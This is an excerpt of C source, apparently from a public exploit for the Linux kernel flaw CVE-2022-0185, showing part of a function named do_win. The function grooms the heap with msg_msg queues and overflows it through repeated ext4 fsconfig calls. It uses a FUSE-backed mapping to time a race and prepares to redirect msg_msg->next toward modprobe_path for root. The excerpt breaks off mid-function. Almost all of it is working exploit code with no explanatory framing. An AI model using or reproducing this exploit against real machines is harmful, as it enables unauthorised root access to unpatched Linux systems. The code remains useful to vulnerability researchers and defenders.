Function do_win

CVE-2022-0185/exploit/exploit_fuse.c:146–216

msg_msg arb write trick by hanging before msgseg on usercopy use FUSE to time the race

// msg_msg arb write trick by hanging before msgseg on usercopy
// use FUSE to time the race
void do_win() 
{
    int size = 0x1000;
    char buffer[0x2000] = {0};
    char pat[0x1000] = {0};
    msg* message = (msg*)buffer;
    memset(buffer, 0x44, sizeof(buffer));
// (1) mmap address
    void *evil_page = mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
    uint64_t race_page = 0x1338000;
    msg *rooter = (msg *)(race_page-0x8);
    rooter->mtype = 1;
    size = 0x1010;

    int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
    send_msg(target, message, size - 0x30, 0);
// (2) prepare to overflow ->  size = 4095 = 117*(33+2)
    puts("[*] Opening ext4 filesystem");
    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    for (int i = 0; i < 0xa; i++)
    {
        fdv[i] = fsopen("ext4", 0);
        if (fdv[i] < 0) 
        {
            puts("Opening");
            exit(-1);
        }
        for (int j = 0; j < 117; j++) 
            fsconfig(fdv[i], FSCONFIG_SET_STRING, "\x00", pat, 0);
    }
    /*
    fd = fsopen("ext4", 0);
    if (fd < 0) 
    {
            puts("Opening");
            exit(-1);
    }
    puts("[*] Overflowing...");
    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    for (int i = 0; i < 117; i++) 
    {
        fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    }*/
// (3) prepare fault hanlers via FUSE at 0x1338000  
    puts("[*] Prepaing fault handlers via FUSE");
    int evil_fd = open("evil/evil", O_RDWR);
    if (evil_fd < 0)
    {
        perror("evil fd failed");
        exit(-1);
    }
    if ((mmap((void *)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd, 0)) != (void *)0x1338000)
    {
        perror("mmap fail fuse 1");
        exit(-1);
    }
// (4) change msg_msg->next = modprobe_path-8
    pthread_t thread;